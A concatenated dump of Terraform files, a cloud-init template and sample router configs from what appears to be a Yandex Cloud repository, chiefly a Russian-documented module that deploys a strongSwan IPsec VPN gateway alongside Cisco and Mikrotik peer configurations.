//-------------------------------------------
//Createтывание checkpoint management server
resource "yandex_compute_instance" "mgmt-server" {
folder_id = yandex_resourcemanager_folder.folder4.id
name = "mgmt-server"
zone = "ru-central1-a"
hostname = "mgmt-server"
resources {
cores = 4
memory = 8
}
boot_disk {
initialize_params {
image_id = "fd8hcf4gjv3adselqajo"
type = "network-ssd"
size = 120
}
}
network_interface {
subnet_id = yandex_vpc_subnet.subnet-a_vpc_4.id
ip_address = "${cidrhost(var.subnet-a_vpc_4, 100)}"
nat = false
#security_group_ids = [yandex_vpc_security_group.ptaf-sg.id]
}
metadata = {
user-data = "${data.template_file.cloud_init_sms.rendered}"
serial-port-enable = 1
}
}
//Create win-pc
resource "yandex_compute_instance" "win-check" {
folder_id = yandex_resourcemanager_folder.folder4.id
name = "win-check"
hostname = "win-check"
platform_id = "standard-v2"
zone = "ru-central1-a"
resources {
cores = 4
memory = 8
}
boot_disk {
initialize_params {
image_id = "fd8vbpg8aq7gmf72a7qh"
}
}
network_interface {
subnet_id = yandex_vpc_subnet.subnet-a_vpc_4.id
ip_address = "${cidrhost(var.subnet-a_vpc_4, 101)}"
nat = true
}
metadata = {
user-data = "${data.template_file.cloud_init_win.rendered}"
}
}
output "a-external_ip_address_of_win-check-vm" {
value = yandex_compute_instance.win-check.network_interface.0.nat_ip_address
}
output "b-password-for-win-check" {
value = "${random_password.pass-win[0].result}"
sensitive = true
}
output "c-ip_address_mgmt-server" {
value = yandex_compute_instance.mgmt-server.network_interface.0.ip_address
}
output "d-ui_console_mgmt-server_password" {
value = "admin"
}
output "e-gui_console_mgmt-server_password" {
value = "${random_password.pass-sms[0].result}"
sensitive = true
}
output "f-sic-password" {
value = "${random_password.pass-sic[0].result}"
sensitive = true
}
output "g-ip_address_fw-a" {
value = yandex_compute_instance.fw-a.network_interface.0.ip_address
}
output "h-ip_address_fw-b" {
value = yandex_compute_instance.fw-b.network_interface.0.ip_address
}
output "i-path_for_private_ssh_key" {
value = "./pt_key.pem"
}
================================================
FILE: network-sec/ipsec-sgw/README.md
================================================
# Развёртывание IPsec VPN в Yandex Cloud с помощью шлюза безопасности
Оглавление:
* [Введение](#overview)
* [Топология и основные элементы решения](#sgw-topology)
* [Параметры IPsec протокола](#sgw-ipsec)
* [Особенности реализации шлюза безопасности YC-SGW](#sgw-details)
* [Описание развёртывания решения с помощью Terraform модуля](#sgw-tf)
* [Создание конфигурационного файла для Remote-SGW](#remote-config)
* [Выполнение Terraform развёртывания](#sgw-tf-apply)
* [Спецификация модуля](#spec)
## Введение
Информационные сервисы имеют свой жизненный цикл. Они постоянно эволюционируют и изменяются. Для роста им необходимы ресурсы. В традиционных корпоративных ЦОД процесс развёртывания новых ИТ-ресурсов занимает много времени. Облака позволяют расширять границы ЦОД быстро и практически безгранично.
При размещении части ресурсов в облаке им необходимо обеспечить защищённое сетевое взаимодействие с уже работающими в корпоративном ЦОД ресурсами. Для решения этой задачи применяется технология создания защищенных соединений между корпоративным ЦОД и облачной инфраструктурой.
Инфраструктура ЦОД и облачная инфраструктура объединяются в одно информационное пространства с помощью технологий для построения виртуальных сетей (VPN), такими как [IPsec](https://www.ietf.org/rfc/rfc2401.txt), [WireGuard](https://www.wireguard.com/), и т.д.
В данном документе описано решение шлюза безопасности (Security Gateway) для организации защищённого соединения на базе протокола `IPsec` между корпоративным ЦОД и облачной инфраструктурой в `Yandex Cloud` через сеть Интернет.
Выбор протокола IPsec обусловлен его широкой поддержкой в различных сетевых устройствах (как физических так и виртуальных) от множества производителей.
В качестве шлюза безопасности для данного решения был выбран продукт с открытым исходным кодом [strongSwan](https://github.com/strongswan/strongswan).
## Топология и основные элементы решения
Пример обычной топологии `IPsec site to site VPN` - защищённого IPsec соединения между корпоративным ЦОД и облачной инфраструктурой в Yandex Cloud показан на схеме ниже:
В облачной инфраструктуре Yandex Cloud есть подсети subnet-1, subnet-2 и subnet-3 в которых расположена одна часть информационных ресурсов.
В ЦОД `Remote site` есть подсети subnet-5 subnet-6 в которых расположена другая часть информационных ресурсов.
Шлюзы безопасности YC-SGW и Remote-SGW объединяют вышеперечисленные сегменты сети с помощью `IPsec Tunnel`, который строиться через сеть Интернет. Шлюзы безопасности выполняют функции по передаче трафика и его шифрованию при передаче в соседний сегмент сети через IPsec туннель.
Ниже описаны наболее важные объекты, показанные на схеме:
* `YC-SGW` - шлюз безопасности в Yandex Cloud - это ключевой элемент этого решения. Шлюз безопасности развёртывается в формате ВМ на базе продукта с открытым исходным кодом [strongSwan](https://docs.strongswan.org/). Работа IPsec туннеля обеспечивается согласованной работой шлюза безопасности YC-SGW и удаленного шлюза безопасности Remote-SGW в ЦОД. Шлюз безопасности YC-SGW развёртывается в выделенной подсети `subnet-4` в Yandex Cloud. Использование отдельной подсети для развёртывания YC-SGW позволяет избежать зацикливаний трафика при маршрутизации в определенных сценариях использования.
* `Remote-SGW` - шлюз безопасности в ЦОД. В данном примере шлюз безопасности реализован на базе аппаратного или программного маршрутизатора компании [Cisco](https://www.cisco.com) с операционной системой `Cisco IOS-XE`.
* `Network-1` - [облачная сеть](https://cloud.yandex.ru/docs/vpc/concepts/network#network) в облачном каталоге Yandex Cloud.
* `subnet1`, `subnet2` и `subnet3` - [подсети в облачной сети](https://cloud.yandex.ru/docs/vpc/concepts/network#subnet). Каждая подсеть создана в своей [зоне доступности](https://cloud.yandex.ru/docs/overview/concepts/geo-scope). В подсетях развёрнуты облачные ресурсы (cloud resources), которым нужно взаимодействовать с ресурсами в ЦОД (on-prem resources).
* `subnet-5` и `subnet-6` - подключены к Remote-SGW через логические интерфейсы *(sub-interfaces Gig1.11 и Gig1.12)* одного физического транкогового порта "Gig1". Информация о конфигурации сетевых интерфейсов шлюза безопасности показана на схеме в таблице **Remote-SGW interfaces**.
* `sgw-rt` - [таблица маршрутизации](https://cloud.yandex.ru/docs/vpc/concepts/static-routes) в облачной сети Network-1. Обеспечивает маршрутизацию трафика в направлении подсетей subnet-5 и subnet-6 через шлюз безопасности YC-SGW. Для включения таблицы маршрутизации в работу её обязательно нужно привязать к подсетям (subnet-1, subnet-2 и subnet-3).
* `YC-SGW route table` - это общая таблица маршрутизации внутри Linux ВМ YC-SGW. В эту таблицу добавляются маршруты для подсетей subnet-5 и subnet-6. Трафик к этим подсетям будет передаваться через IPsec туннель.
* `Remote-SGW route table` - таблица маршрутизации шлюза безопасности Remote-SGW. В эту таблицу добавляются маршруты к подсетям в Yandex Cloud: subnet-1, subnet-2 и subnet-3. Трафик к этим подсетям будет передаваться через IPsec туннель.
## Параметры IPsec протокола
Для работы IPsec соединения требуется настройка согласованного набора параметров (`IPsec Policy`) на шлюзах безопасности с обоих сторон соединения. В данном решении используются следующие параметры:
* `policy_name` - имя IPsec политики / профиля.
* `ike_proposal` - [Internet Key Exchange Version 2 (IKEv2)]((https://docs.strongswan.org/docs/5.9/howtos/ipsecProtocol.html#_internet_key_exchange_version_2_ikev2)). Шифр (cipher), который будет использоваться для шифрования канала управления IPsec соединением.
* `esp_proposal` - [Encapsulating Security Payload](https://docs.strongswan.org/docs/5.9/howtos/ipsecProtocol.html#_encapsulating_security_payload_esp). Шифр (cipher), который будет использоваться для шифрования передаваемых данных.
* `psk` - [Pre-Shared Key](https://docs.strongswan.org/docs/5.9/howtos/ipsecProtocol.html#_psk_based_authentication). Ключ (пароль), который будет использоваться для установления IPsec соединения.
Для значений параметров "ike_proposal" и "esp_proposal" используется [нотация strongSwan](https://docs.strongswan.org/docs/5.9/config/IKEv2CipherSuites.html).
В данном примере используются следующие значения параметров IPsec Policy:
```yml
policy_name: yc-ipsec
ike_proposal: aes128gcm16-prfsha256-ecp256
esp_proposal: aes128gcm16
psk: Sup#erPa85s
```
Ознакомится с основными принципами работы протокола IPsec можно в документе [IPsec Protocol](https://docs.strongswan.org/docs/5.9/howtos/ipsecProtocol.html).
## Особенности реализации шлюза безопасности YC-SGW
Шлюз безопасности YC-SGW реализован в виде образа ВМ в состав которого входят следующие компоненты:
* Ubuntu Linux 22.04
* Docker Daemon, Docker Client
* Docker контейнер [strongSwan](https://github.com/strongswan/strongswan). Контейнер доступен для загрузки по следующей ссылке: `cr.yandex/crpjfmfou6gflobbfvfv/strongswan:5.9.9`
Работа с сетью внутри шлюза безопасности YC-SGW имеет ряд особенностей:
* ВМ имеет только один сетевой интерфейс - eth0, который подключается к виртуальной сети Yandex Cloud. IP-адрес на этом сетевом интерфейс является шлюзом (next-hop) для маршрутов к подсетям subnet-5 и subnet-6 из подсетей subnet-1, subnet-2 и subnet-3. Через этот же сетевой интерфейс трафик направляется в Интернет через подсистему 1:1 NAT виртуальной сети Yandex Cloud.
* в ВМ разрешается маршрутизация пакетов на уровне ядра (`IP Forwarding`).
* в ВМ отключается протокол IPv6.
* при запуске контейнера `strongSwan` в него пробрасывается [сеть хоста (ВМ)](https://docs.docker.com/network/host/).
* для удобства эксплуатации шлюза безопасности, контейнер `strongSwan` настраивается на работу в режиме [Route-based VPN](https://docs.strongswan.org/docs/5.9/features/routeBasedVpn.html). Для этого в ВМ создаётся [XFRM интерфейс](https://docs.strongswan.org/docs/5.9/features/routeBasedVpn.html#_xfrm_interfaces_on_linux). В результате в YC-SGW появляется дополнительный виртуальный сетевой интерфейс `ipsec0`, через который можно направлять трафик в IPsec туннель с помощью стандартной команды Linux "ip route". При этом, никаких изменений параметров IPsec внутри контейнера не требуется.
## Описание развёртывания с помощью Terraform модуля IPSEC-SGW
### Результаты развёртывания
В процесее выполнения данного Terraform развёртывания в Yandex Cloud будут созданы следующие объекты:
* новая отдельная подсеть в существующей сети для развёртывания в ней шлюза безопасности YC-SGW (subnet-4).
* одна общая для всех защищаемых подсетей таблица маршрутизации (sgw-rt). В этой таблице будут маршруты до всех перечисленных удалённых подсетей. Таблица маршрутизации будет применяться ко всем перечисленным подсетям в Yandex Cloud. При необходимости, в сети будет создан NAT-шлюз и соответствующая запись в таблице маршрутизации с маршрутом по умолчанию, указывающая на этот шлюз для передачи трафика в Интернет.
* ВМ YC-SGW будет создана из предварительно подготовленного образа в Yandex Cloud.
* при создании ВМ YC-SGW ей будет выделен публичный статический IP-адрес и создана группа безопасности (Security Group).
* после выполнения развёртывания решения YC-SGW для шлюза безопасности в ЦОД будет создан конфигурационный файл для его согласованной настройки с шлюзом безопасности YC-SGW. Имя конфигурационного файла будет соответствовать имени шлюза безопасности, заданному во входных параметрах (см. ниже).
### Входные параметры модуля IPSEC-SGW
Пример описания развёртывания показан в файле [main.tf](./examples/main.tf).
Перед вызовом модуля ему на вход нужно передать набор входных объектов:
* объект `yc_sgw` - описывает атрибуты для развёртывания шлюза безопасности в Yandex Cloud:
- `name` - имя, которое будет использоваться при создании различных объектов относящихся к YC-SGW.
- `folder_name` - имя облачного каталога в котором будет создаваться ВМ YC-SGW.
- `image_folder_id` - идентификатор облачного каталога в котором находится подготовленный образ для развёртывания YC-SGW.
- `image_name` - имя файла подготовленного образа для развёртывания YC-SGW.
- `zone` - идентификатор зоны доступности в которой будет создаваться YC-SGW.
- `subnet` - IPv4 префикс подсети, которая будет создана для подключения туда YC-SGW.
- `inside_ip` - IP-адрес в подсети `subnet`, который будет использоваться на сетевом интерфейсе eth0 YC-SGW.
- `admin_name` - имя пользователя-администратора, который будет подключаться к YC-SGW по протоколу SSH.
- `admin_key_path` - локальный путь к файлу с публичным ключём для аутентификации пользователя-администратора. Этот ключ будет загружен на ВМ YC-SGW при её создании.
* объект `IPsec Policy` - описывает атрибуты для конфигурации IPsec: policy_name, ike_proposal, esp_proposal, psk.
Подробнее об этих параметров можно почитать [здесь](#sgw-ipsec).
* объект `yc_subnets` - описывает сетевые сущности в Yandex Cloud. У него есть следующие атрибуты:
- `net_name` - имя сети (network) в которой будет создаваться ВМ YC-SGW. Предполагается, что все защищаемые с помощью YC-SGW подсети также размещаються в этой же сети.
- `rt_name` - имя таблицы маршрутизации, которая будет использоваться для направления трафика из защищаемых подсетей через шлюз безопасности и далее в IPsec туннель.
- `prefix_list` - список IPv4 префиксов защищаемых подсетей, из которых трафик будет передаваться через шлюз безопасности.
- `rt_internet_access` - специальный флаг с помощью которого в таблицу маршрутизации "rt_name" может быть добавлен маршрут по-умолчанию для выхода в Интернет через NAT-Gateway. По умолчанию имеет значение false.
- `force_subnets_update` - специальный флаг с помощью которого можно применить созданную таблицу маршрутизации к созданным ранее подсетям в рамках данного Terraform развёртывания. По умолчанию имеет значение false, что означает, что изменений в конфигурациях подсетей не производится - в специальном значении Terraform output `yc_rt_cmd` сохраняется командная строка для выполнения этих изменений в запланированное время.
* объект `remote_subnets` - список IPv4 префиксов подсетей за удалённым шлюзом безопасности.
* объект `remote_sgw` - описывает атрибуты существующего удалённого шлюза безопасности:
- `name` - имя удалённого шлюза безопасности. Используется при генерировании файла конфигурации.
- `type` - тип удалённого шлюза безопасности. Прямо сейчас поддерживаются следующие типы шлюзов: `cisco-iosxe`, `cisco-asa`, `mikrotik-chr`, `unknown`.
- `outside_ip` - публичный IP-адрес (outside) со стороны удалённого шлюза безопасности.
### Выполнение Terraform развёртывания шлюза безопасности YC-SGW
```bash
cd examples
source env-yc.sh
terraform init
terraform apply
```
## Спецификация модуля
### Requirements
| Name | Version |
|------|---------|
| [local](#requirement\_local) | ~> 2.4.0 |
| [null](#requirement\_null) | ~> 3.2.1 |
| [yandex](#requirement\_yandex) | ~> 0.89.0 |
### Providers
| Name | Version |
|------|---------|
| [local](#provider\_local) | ~> 2.4.0 |
| [yandex](#provider\_yandex) | ~> 0.89.0 |
| [null](#provider\_null) | ~> 3.2.1 |
### Modules
No modules.
### Resources
| Name | Type |
|------|------|
| [local_file.remote_ipsec_config](https://registry.terraform.io/providers/hashicorp/local/latest/docs/resources/file) | resource |
| [null_resource.yc_subnets_update](https://registry.terraform.io/providers/hashicorp/null/latest/docs/resources/resource) | resource |
| [yandex_compute_instance.sgw](https://registry.terraform.io/providers/yandex-cloud/yandex/latest/docs/resources/compute_instance) | resource |
| [yandex_vpc_address.sgw_public_ip](https://registry.terraform.io/providers/yandex-cloud/yandex/latest/docs/resources/vpc_address) | resource |
| [yandex_vpc_gateway.egress_gw](https://registry.terraform.io/providers/yandex-cloud/yandex/latest/docs/resources/vpc_gateway) | resource |
| [yandex_vpc_route_table.sgw_rt](https://registry.terraform.io/providers/yandex-cloud/yandex/latest/docs/resources/vpc_route_table) | resource |
| [yandex_vpc_security_group.sgw_sg](https://registry.terraform.io/providers/yandex-cloud/yandex/latest/docs/resources/vpc_security_group) | resource |
| [yandex_vpc_subnet.sgw_subnet](https://registry.terraform.io/providers/yandex-cloud/yandex/latest/docs/resources/vpc_subnet) | resource |
| [yandex_compute_image.sgw_image](https://registry.terraform.io/providers/yandex-cloud/yandex/latest/docs/data-sources/compute_image) | data source |
| [yandex_resourcemanager_folder.sgw_folder](https://registry.terraform.io/providers/yandex-cloud/yandex/latest/docs/data-sources/resourcemanager_folder) | data source |
| [yandex_vpc_network.yc_net](https://registry.terraform.io/providers/yandex-cloud/yandex/latest/docs/data-sources/vpc_network) | data source |
| [yandex_vpc_subnet.yc_sub_all](https://registry.terraform.io/providers/yandex-cloud/yandex/latest/docs/data-sources/vpc_subnet) | data source |
### Inputs
| Name | Description | Type | Default | Required |
|------|-------------|------|---------|:--------:|
| [cloud\_id](#input\_cloud\_id) | YC cloud-id. Taken from environment variable. | `any` | n/a | yes |
| [folder\_id](#input\_folder\_id) | YC folder-id. Taken from environment variable. | `any` | n/a | yes |
| [ipsec\_policy](#input\_ipsec\_policy) | IPsec parameters for both sides | object(
{
policy_name = string
ike_proposal = string
esp_proposal = string
psk = string
})
| {
"esp_proposal": null,
"ike_proposal": null,
"policy_name": null,
"psk": null
} | no |
| [yc\_sgw](#input\_yc\_sgw) | YC IPsec SGW | object(
{
name = string
folder_name = string
image_folder_id = string
image_name = string
zone = string
subnet = string
inside_ip = string
admin_name = string
admin_key_path = string
})
| {
"admin_key_path": null,
"admin_name": null,
"folder_name": null,
"image_folder_id": "standard-images",
"image_name": null,
"inside_ip": null,
"name": null,
"subnet": null,
"zone": null
} | no |
| [yc\_subnets](#input\_yc\_subnets) | YC IP subnet prefixes | object(
{
net_name = string
prefix_list = list(string)
rt_name = string
rt_internet_access = bool
force_subnets_update = bool
})
| {
"force_subnets_update": false,
"net_name": null,
"prefix_list": null,
"rt_internet_access": false,
"rt_name": null
} | no |
| [remote\_sgw](#input\_remote\_sgw) | Remote IPsec Security Gateway (SGW) | object(
{
name = string
type = string
outside_ip = string
})
| {
"name": null,
"outside_ip": null,
"type": "unknown"
} | no |
| [remote\_subnets](#input\_remote\_subnets) | Yandex Cloud Subnet prefixes list | `list(string)` | `null` | no |
| [labels](#input\_labels) | A set of key/value label pairs to assign. | `map(string)` | `null` | no |
### Outputs
| Name | Description |
|------|-------------|
| [subnets\_pairs](#output\_subnets\_pairs) | Subnet pairs for Remote SGW which is not supported Route-based policies, such as Mikrotik CHR. |
| [yc\_rt\_cmd](#output\_yc\_rt\_cmd) | Provide yc CLI command string for change traffic flow via route-table manually. |
================================================
FILE: network-sec/ipsec-sgw/compute.tf
================================================
# =================
# Compute Resources
# =================
# Define SGW Folder
data "yandex_resourcemanager_folder" "sgw_folder" {
cloud_id = var.cloud_id
name = var.yc_sgw.folder_name
}
# Define the VM image for SGW
data "yandex_compute_image" "sgw_image" {
folder_id = var.yc_sgw.image_folder_id
name = var.yc_sgw.image_name
# family = container-optimized-image
}
# Create SGW VM
resource "yandex_compute_instance" "sgw" {
folder_id = data.yandex_resourcemanager_folder.sgw_folder.id
name = lower(var.yc_sgw.name)
hostname = lower(var.yc_sgw.name)
platform_id = "standard-v3"
zone = var.yc_sgw.zone
labels = var.labels
resources {
cores = 2
memory = 4
}
boot_disk {
initialize_params {
image_id = data.yandex_compute_image.sgw_image.id
}
}
network_interface {
subnet_id = yandex_vpc_subnet.sgw_subnet.id
ip_address = var.yc_sgw.inside_ip
nat = true
nat_ip_address = yandex_vpc_address.sgw_public_ip.external_ipv4_address[0].address
security_group_ids = [yandex_vpc_security_group.sgw_sg.id]
}
metadata = {
user-data = templatefile("${path.module}/sgw-vm-init.tpl", {
ADMIN_NAME = var.yc_sgw.admin_name
ADMIN_SSH_KEY = file(var.yc_sgw.admin_key_path)
REMOTE_SGW_IP = var.remote_sgw.outside_ip
POLICY_NAME = var.ipsec_policy.policy_name
IKE_PROPOSAL = var.ipsec_policy.ike_proposal
ESP_PROPOSAL = var.ipsec_policy.esp_proposal
PSK = var.ipsec_policy.psk
ROUTE_LIST = trim("%{for prefix in var.remote_subnets}ip route add ${prefix} dev ipsec0;%{~endfor~}", ";")
})
}
}
================================================
FILE: network-sec/ipsec-sgw/examples/.gitignore
================================================
*.txt
================================================
FILE: network-sec/ipsec-sgw/examples/env-yc.sh
================================================
#!/bin/bash
export TF_VAR_cloud_id=$(yc config get cloud-id)
export TF_VAR_folder_id=$(yc config get folder-id)
export YC_TOKEN=$(yc iam create-token)
================================================
FILE: network-sec/ipsec-sgw/examples/main.tf
================================================
# ============================================================
# Example of using IPsec-SGW Terraform module for Yandex Cloud
# ============================================================
# ==================================
# Terraform & Provider Configuration
# ==================================
terraform {
required_providers {
yandex = {
source = "yandex-cloud/yandex"
version = "~> 0.89.0"
}
null = {
source = "hashicorp/null"
version = "~> 3.2.1"
}
local = {
source = "hashicorp/local"
version = "~> 2.4.0"
}
}
}
# =====================
# Call IPsec-SGW module
# =====================
module "ipsec-sgw" {
source = "../"
cloud_id = var.cloud_id
folder_id = var.folder_id
labels = { tag = "ipsec-sgw" }
# ==================================================================
# IPsec profile for both sides (strongSwan keywords values)
# https://docs.strongswan.org/docs/5.9/config/IKEv2CipherSuites.html
# ==================================================================
ipsec_policy = {
policy_name = "yc-ipsec"
ike_proposal = "aes128gcm16-prfsha256-ecp256"
esp_proposal = "aes128gcm16"
psk = "Sup@385paS4"
}
# =================================
# Yandex Cloud side: strongSwan SGW
# =================================
yc_subnets = {
net_name = "default"
rt_name = "sgw-rt"
rt_internet_access = false
force_subnets_update = false
prefix_list = ["10.128.0.0/24", "10.129.0.0/24"]
}
yc_sgw = {
name = "yc-sgw"
folder_name = "folder1"
image_folder_id = "b1g4n62gio32v96mdvrb"
image_name = "ipsec-sgw"
zone = "ru-central1-a"
subnet = "192.168.200.0/24"
inside_ip = "192.168.200.10"
admin_name = "admin"
admin_key_path = "~/.ssh/id_ed25519.pub"
}
# =================================
# Remote side: 3rd party IPsec SGW
# =================================
remote_subnets = ["10.10.201.0/24", "10.10.202.0/24"]
remote_sgw = {
name = "Router1"
type = "cisco-iosxe"
outside_ip = "51.250.13.97"
}
}
output "yc_rt_cmd" {
description = "yc cli command for update the routing table."
value = module.ipsec-sgw.yc_rt_cmd
}
================================================
FILE: network-sec/ipsec-sgw/examples/variables.tf
================================================
# ============================================================
# Example of using IPsec-SGW Terraform module for Yandex Cloud
# Input variables for this example.
# ============================================================
variable "cloud_id" {
description = "YC cloud-id. Taken from environment variable."
}
variable "folder_id" {
description = "YC folder-id. Taken from environment variable."
}
================================================
FILE: network-sec/ipsec-sgw/ipsec-configs.tf
================================================
# ==================================================================
# IPsec configuration file builder for the selected remote SGW type.
# ==================================================================
# Create an SGW configuration file for the remote site
locals {
subnets_pairs = flatten([
for key in var.yc_subnets.prefix_list : [
for val in var.remote_subnets : {
yc = key
remote = val
}
]
])
remote_ipsec_config = templatefile("${path.module}/templates/ipsec-${var.remote_sgw.type}.tpl", {
SGW_NAME = var.yc_sgw.name
YC_SGW_IP = "${yandex_vpc_address.sgw_public_ip.external_ipv4_address[0].address}"
REMOTE_SGW_IP = var.remote_sgw.outside_ip
POLICY_NAME = var.ipsec_policy.policy_name
IKE_PROPOSAL = var.ipsec_policy.ike_proposal
ESP_PROPOSAL = var.ipsec_policy.esp_proposal
PSK = var.ipsec_policy.psk
# For remote SGW's which are supported the Routed mode (IPsec Tunnel interface)
YC_SUBNETS = var.yc_subnets.prefix_list
# For remote SGW's which are NOT SUPPORTED the Routed mode, e.g. Mikrotik
SUBNETS_PAIRS = local.subnets_pairs
})
}
resource "local_file" "remote_ipsec_config" {
content = local.remote_ipsec_config
filename = "${var.remote_sgw.name}-config.txt"
}
================================================
FILE: network-sec/ipsec-sgw/outputs.tf
================================================
# =======================================
# IPsec Security Gateway (SGW) deployment
# Outputs
# =======================================
# ipsec-configs
output "subnets_pairs" {
description = "Subnet pairs for Remote SGW which is not supported Route-based policies, such as Mikrotik CHR."
value = local.subnets_pairs
}
# vpc
output "yc_rt_cmd" {
description = "Provide yc CLI command string for change traffic flow via route-table manually."
value = var.yc_subnets.force_subnets_update ? "true" : local.yc_rt_cmd
}
================================================
FILE: network-sec/ipsec-sgw/providers.tf
================================================
# ==================================
# Terraform & Provider Configuration
# ==================================
terraform {
required_providers {
yandex = {
source = "yandex-cloud/yandex"
version = "~> 0.89.0"
}
null = {
source = "hashicorp/null"
version = "~> 3.2.1"
}
local = {
source = "hashicorp/local"
version = "~> 2.4.0"
}
}
}
================================================
FILE: network-sec/ipsec-sgw/samples/cisco-asa-sample.txt
================================================
! Cisco ASA with Routed mode (Tunnel) <-- IPSEC --> strongSwan Instance
!
! Tested with Cisco ASAv v9.15(1)10
!
! Should be work with Cisco ASA/ASAv families
!
!
crypto ikev2 enable outside
!
crypto ikev2 policy 1
encryption aes-gcm
integrity null
group 19
prf sha256
!
crypto ipsec ikev2 ipsec-proposal IKE2-PROPOSAL
protocol esp encryption aes-gcm protocol esp integrity null
!
crypto ipsec profile IKE2-PROFILE
set ikev2 ipsec-proposal IKE2-PROPOSAL
set security-association lifetime kilobytes unlimited
set security-association lifetime seconds 50000
!
group-policy IKE2-POLICY internal
group-policy IKE2-POLICY attributes
vpn-tunnel-protocol ikev2
!
tunnel-group 158.160.45.51 type ipsec-l2l
tunnel-group 158.160.45.51 general-attributes
default-group-policy IKE2-POLICY
!
tunnel-group 158.160.45.51 ipsec-attributes
ikev2 remote-authentication pre-shared-key OcsIc-321
ikev2 local-authentication pre-shared-key OcsIc-321
!
interface Tunnel10
nameif vti
ip address 169.254.254.1 255.255.255.252
tunnel source interface outside
tunnel destination 158.160.45.51
tunnel mode ipsec ipv4
tunnel protection ipsec profile IKE2-PROFILE
!
! Route YC prefixes via IPsec Tunnel interface
route vti 10.128.0.0 255.255.255.0 169.254.254.2 1
route vti 10.129.0.0 255.255.255.0 169.254.254.2 1
================================================
FILE: network-sec/ipsec-sgw/samples/cisco-iosxe-sample.txt
================================================
! Cisco IOS-XE with Routed mode (Tunnel) <-- IPSEC --> strongSwan Instance
!
! Tested with Cisco Catalyst 8000v (IOS-XE v17.06.02).
!
! Should be work with Cisco CSR 1000v, Cisco ASR 1000,
! Cisco ISR 4000 and other Cisco IOS-XE platforms.
!
crypto ikev2 proposal IKE2-PROPOSAL
encryption aes-gcm-128
prf sha256
group 19
!
crypto ikev2 policy IKE2-POLICY
match fvrf any
proposal IKE2-PROPOSAL
!
crypto ikev2 keyring IKE2-KEYS
peer YC-SGW
address 62.84.117.252
pre-shared-key 0 OcsIc-321
!
crypto ikev2 profile IKE2-PROFILE
match identity remote any
authentication remote pre-share
authentication local pre-share
keyring local IKE2-KEYS
dpd 10 3 on-demand
!
crypto ipsec transform-set TS esp-gcm 128
mode tunnel
!
crypto ipsec profile IPSEC-PROFILE
set transform-set TS
set ikev2-profile IKE2-PROFILE
!
interface Tunnel10
description == IPSEC-Tunnel ==
ip unnumbered GigabitEthernet2
tunnel source GigabitEthernet2
tunnel mode ipsec ipv4
tunnel destination 62.84.117.252
tunnel protection ipsec profile IPSEC-PROFILE
!
! Route YC prefixes via IPsec Tunnel interface
ip route 10.128.0.0 255.255.255.0 Tunnel10
ip route 10.129.0.0 255.255.255.0 Tunnel10
================================================
FILE: network-sec/ipsec-sgw/samples/mikrotik-chr-sample.txt
================================================
# ================================================
# Mikrotik CHR RouterOS 7.x
# https://help.mikrotik.com/docs/display/ROS/IPsec
# ================================================
# All IPsec firewall filters should be configured BEFORE ANY action=drop RULES !
/ip firewall filter
add action=accept chain=input comment="Allow UDP 500,4500 IPSec for YC peer" protocol=udp dst-port=500,4500 dst-address=51.250.78.223
add action=accept chain=input comment="Allow IPSec ESP for YC peer" protocol=ipsec-esp dst-address=51.250.78.223
add action=accept chain=forward comment="defconf: accept in ipsec policy" ipsec-policy=in,ipsec
add action=accept chain=forward comment="defconf: accept out ipsec policy" ipsec-policy=out,ipsec
/ip ipsec profile add dh-group=ecp256 prf-algorithm=sha256 nat-traversal=yes proposal-check=obey name "IKE2-PROFILE"
/ip ipsec proposal add auth-algorithms="" enc-algorithms=aes-128-gcm pfs-group=none lifetime=8h disabled=no name="IKE2-PROPOSAL"
/ip ipsec peer add address=51.250.78.223 exchange-mode=ike2 passive=no send-initial-contact=yes profile="IKE2-PROFILE" disabled=no name="YC"
/ip ipsec identity add peer=YC auth-method=pre-shared-key remote-id=ignore secret="OcsIc-321"
# Policy routing via IPsec SA
/ip ipsec policy set 0 disabled=yes
/ip ipsec policy add src-address=10.128.0.0/24 dst-address=10.10.201.0/24 tunnel=yes action=encrypt proposal=IKE2-PROPOSAL peer=YC
/ip ipsec policy add src-address=10.129.0.0/24 dst-address=10.10.202.0/24 tunnel=yes action=encrypt proposal=IKE2-PROPOSAL peer=YC
## Diagnostic & Monitoring
/ip ipsec proposal print
/ip ipsec profile print
/ip ipsec peer print
/ip ipsec identity print
/ip ipsec policy print
/ip ipsec active-peers print detail
/ip ipsec installed-sa print
================================================
FILE: network-sec/ipsec-sgw/samples/unknown-sample.txt
================================================
# =====================================
# IPSEC attributes for Remote IPSEC SGW
# =====================================
yc-ipsec:
mode: IPSEC Tunnel mode
ike-version: IKEv2
ike-proposal: aes128gcm16-prfsha256-ecp256
esp-proposal: aes128gcm16
psk: OcsIc-321
local-sgw-ip: 51.250.13.97
# Yandex Cloud Security Gateway - yc-sgw
yc-sgw-ip: 51.250.90.9
#
YC-prefixes:
10.128.0.0/24
10.129.0.0/24
================================================
FILE: network-sec/ipsec-sgw/samples/yc-strongswan-sample.txt
================================================
connections {
yc-ipsec {
remote_addrs = 51.250.13.97
local {
auth = psk
}
remote {
auth = psk
}
version = 2 # IKEv2
mobike = no
proposals = aes128gcm16-prfsha256-ecp256, default
dpd_delay = 10s
children {
yc-ipsec {
# Local IPv4 subnets
local_ts = 0.0.0.0/0
# Remote IPv4 subnets
remote_ts = 0.0.0.0/0
start_action = start
esp_proposals = aes128gcm16
dpd_action = clear
if_id_in = 48
if_id_out = 48
}
}
}
}
# Pre-shared key (PSK) for IPSEC connection
secrets {
ike-yc-ipsec {
secret = OcsIc-321
}
}
================================================
FILE: network-sec/ipsec-sgw/sgw-vm-init.tpl
================================================
#cloud-config
datasource:
Ec2:
strict_id: false
ssh_pwauth: yes
users:
- name: "${ADMIN_NAME}"
sudo: ALL=(ALL) NOPASSWD:ALL
shell: /bin/bash
ssh-authorized-keys:
- "${ADMIN_SSH_KEY}"
write_files:
- content: |
#!/bin/bash
usermod -a -G docker ${ADMIN_NAME}
# Get strongSwan container image version (tag)
SWAN_VER=$(docker image ls strongswan --format "{{.Tag}}")
# Create SGW container
docker create --name=strongswan --hostname=strongswan --network=host \
--cap-add=NET_ADMIN --cap-add=SYS_ADMIN --cap-add=SYS_MODULE \
--env REMOTE_SGW_IP="${REMOTE_SGW_IP}" \
--env POLICY_NAME="${POLICY_NAME}" \
--env IKE_PROPOSAL="${IKE_PROPOSAL}" \
--env ESP_PROPOSAL="${ESP_PROPOSAL}" \
--env PSK="${PSK}" \
strongswan:$SWAN_VER
docker start strongswan
# Add ip routes via ipsec0 tunnel
rlist="${ROUTE_LIST}"
IFS=';'; IN=($rlist); unset IFS;
for r in "$${IN[@]}" ;
do
